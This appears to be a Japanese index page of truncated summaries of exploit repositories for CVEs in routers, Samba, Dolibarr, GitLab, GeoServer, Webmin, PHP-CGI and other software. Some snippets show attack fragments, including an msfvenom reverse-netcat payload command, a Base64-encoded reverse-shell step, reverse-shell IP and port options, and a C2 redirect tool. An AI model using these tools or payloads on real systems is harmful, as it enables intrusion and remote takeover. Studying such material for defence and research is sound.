CVE-2026-96515

CVE-2026-96515: Netlink HG323RW における認証済み root コマンド実行 認証済みの制限付き Web ユーザーは、Netlink HG323RW の診断インポートハンドラーを通じてシェルスクリプトをアップロードし、UID-0 の BOA プロセスにそれを実行させることができます。認証および有効な verification/CSRF 値が必要です。本リポジトリは、認証前のコード実行を主張するものではありません 。 脆弱性レコード フィールド| 値 ---|--- CVE| CVE-2026-96515 製品| Netlink ICT HG323RW Rout...

nodejsshell

nodejsshell - h3x0v3rl0rd -...

smb-usermap

Samba "username map script" コマンド実行 このモジュールは、非デフォルトの "username map script" 設定オプションを使用している場合に、Samba バージョン 3.0.20 から 3.0.25rc3 におけるコマンド実行の脆弱性を悪用します。シェルのメタ文字を含むユーザー名を指定することで、攻撃者は任意のコマンドを実行できます。このオプションは認証前にユーザー名をマップするために使用されるため、この脆弱性を悪用するのに認証は必要ありません。 1. シェルコードを作成 msfvenom -p cmd/unix/reversenetcat...

mobileiron-exploit

Kerberos認証を使用したTabshellエクスプロイト The OWASSRF + TabShell exploit chain を改変したもの まず、pyprsp モジュールにパッチを適用して WSManStackVersion のダウングレードを有効にし、依存関係をインストールします $ git clone https://github.com/jborean93/pypsrp $ patch -p0 pyprsp.patch patching file pypsrp/src/pypsrp/complexobjects.py patching file...

CVE-2026-25512

CVE-2026-25512: TNEFハンドラにおけるコマンドインジェクションによるリモートコード実行 - Group-Office CVSS 4.0 ベクター : CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H 目次 概要 影響を受けるバージョン 技術的詳細 根本原因 ソースからシンクへの流れ 悪用方法 自動エクスプロイト 手動エクスプロイト 影響 タイムライン クレジット 参考文献 概要 Group-Office において、重大なリモートコード実行（RCE） の脆弱性が確認されました。エンドポイント...

CVE-2026-36356

CVE-2026-36356: MeiG Smart FORGESLT711 GoAhead — 認証不要のOSコマンドインジェクション /action/SetRemoteAccessCfg CVE : CVE-2026-36356 CWE : CWE-78, CWE-306 発見者 : Daniil Gordeev 公開日 : 2026-05-03 概要 MeiG Smart FORGESLT711 4G LTE CPE デバイスに同梱されている GoAhead Webサーバーは、認証なしでアクセス可能なHTTPエンドポイント /action/SetRemoteAccessCfg...

CVE-2026-23500

CVE-2026-23500: Dolibarr の MAINODTASPDF 設定を介した OS コマンドインジェクション RCE 概要 フィールド| 詳細 ---|--- CVE ID| CVE-2026-23500 重要度| CRITICAL アドバイザリ| GHSA-w5j3-8fcr-h87w 発見者| Lukasz Rybak 影響を受ける製品 Dolibarr/dolibarr バージョン: が Web アプリケーションやシェルによってエスケープされる問題を回避するため、リバースシェルコマンドを Base64 でエンコードします: Command: bash -c 'bas...

CVE-2026-32722

CVE-2026-32722 Bloomberg Memray のエスケープされていないコマンドライン・メタデータを介した保存型 XSS はじめに Memray （Bloomberg の Python メモリプロファイラ）をレビューしていた際、私はシンプルな疑問を胸にこの問題を発見しました。 攻撃者が制御するランタイム・メタデータは、ブラウザでレンダリングされるレポート出力に、安全でない形で混入し得るのか？ このケースでは、答えはイエスでした。 バグは Memray の HTML...

apache-camel-docling-security-assessment

CVE-2026-40047 - Apache Camel Docling CLI 引数インジェクション コンサルタント形式のサイバーセキュリティレポート Apache Camel Docling の引数検証リスクに関するプロフェッショナルな脆弱性評価レポート。技術的影響、修復、緩和策を含みます。 📍 レポートスナップショット フィールド| 詳細 ---|--- レポートタイプ| 脆弱性評価レポート エンゲージメントコンテキスト| セキュリティ研究 主なフォーカス| アプリケーションセキュリティ 対象読者| セキュリティチーム、エンジニアリングチーム、採用担当者 出力スタイル|...

CVE-2021-41773-apache

CVE-2021-41773 Apache HTTP Server エクスプロイト このリポジトリには、CVE-2021-41773 として識別される Apache HTTP Server のパストラバーサル（パス横断）脆弱性に対する Python ベースの概念実証（PoC）エクスプロイトが含まれています。このスクリプトは、セキュリティ研究、防御的テスト、および脆弱なシステムに対する許可を得た評価を目的として設計されています。 概要 CVE-2021-41773 は、Apache HTTP Server バージョン 2.4.49...

CVE-2020-11651

CVE-2020-11651 CVE-2020-11651 用 PoC Python3 が必要です 3.8 でテスト済み python3.8 -m pip install pyzmq msgpack ⇒ python3.8 poc.py -h usage: poc.py -h -p PORT -c CMD -k -m -r READ -w WRITE -f FILE server server ... Exploit CVE-2020-11651 positional arguments: server Target Server IP or Host optional argument...

PoC-CVE-2019-12840

Webmin 向け CVE-2019-12840 のエクスプロイト このリポジトリには、Webmin の脆弱性 CVE-2019-12840 を悪用する Python スクリプトが含まれています。 説明 スクリプトは Webmin サーバーにログインし、CVE-2019-12840 の脆弱性を悪用しようとします。スクリプトは、Webmin サーバーにログインするためのユーザー名とパスワード、サーバーの URL、サーバーのポート、リバースシェル用のローカルポート、サーバー上で実行するコマンドなど、いくつかのコマンドライン引数を受け付けます。 使用方法...

7-Zip.chm-Mitigation

7-Zip.chm-mitigiation 7-Zip Mtigation CVE-2022-29072 説明 : https://user-images.githubusercontent.com/33525376/163654035-d40ca72a-7dbc-425f-ade2-3820cfababb2.mp4 CVE 発見者 : https://github.com/kagancapar/CVE-2022-29072 人気のアーカイブプログラムである 7-zip...

CVE-2023-38743

CVE-2023-38743 ManageEngine ADManager コマンドインジェクション 参照: https://medium.com/@petrusviet/cve-2023-38743-manageengine-admanager-command-injection-6afccbb196fe https://www.zerodayinitiative.com/advisories/ZDI-23-1488/...

CVE_2021_27850_POC

コマンド使用方法 git clone https://github.com/Ovi3/CVE202127850POC.git cd CVE202127850POC/ gradlew runnbaleJar java -jar ./build/libs/CVE202127850POC-1.0-SNAPSHOT.jar Usage: java TapestryExploit Tapestry Key DNS URL java TapestryExploit Tapestry Key CB2 Command 假设 hmac key为 change this immediately java...

Turvan6rkus-CVE-2024-3273

🛠️ D-Link ネットワークストレージデバイスのコマンドインジェクション 🌟 背景 D-Link Network Attached Storage （NAS）、すなわちネットワークストレージ...

gitlab-cve-2021-22205

gitlab-cve-2021-22205 脆弱なgitlabインスタンスに対してCVE-2021-22205を悪用するシンプルなbashスクリプトです 使い方 Usage: cve-2021-22205.sh options Options: -h,--help Show this help -t,--target Set the target server i.e. "http://gitlab.example.com" -i,--reverse-ip Set the IP to connect back to -p,--reverse-port Set the port to...

CVE-2024-36401

GeoServer ブラインド リモートコード実行脆弱性 CVE-2024-36401 オプション: -h, --help show this help message and exit -u URL, --url URL Target URL; Example: python .py -u http://ip:port -f FILE, --file FILE Target urllist; Example: python .py -f urllist.txt -c CMD, --cmd CMD Target command; Example: python .py -u...

CVE-2025-4660

説明 CVE-2025-4660（Forescout SecureConnector RCE）の PoC forescoutredirect.py これはエクスプロイト本体であり、エージェントを攻撃者が制御する特定の IP アドレスにリダイレクトできます forescoutc2.py ForeScout SecureConnector の言語で通信するシンプルな C2 実装です...

php-cgi-Injector

PHP-CGI Injector 🚀 CVE-2024-4577 & CVE-2024-8926 Exploit Tool PHP-CGI パラメータインジェクション脆弱性 に対する自動化テストツールです。CVE-2024-4577 と CVE-2024-8926 をサポートし、コマンド実行、ファイルアップロード、ダウンロード などの操作が可能です。 📌 紹介 本ツールは PHP-CGI 環境におけるパラメータインジェクション脆弱性 のテストに使用でき、以下を提供します： ✅ クールなターミナルインターフェースとアニメーション効果 ✅ 自動化された脆弱性スキャン ✅...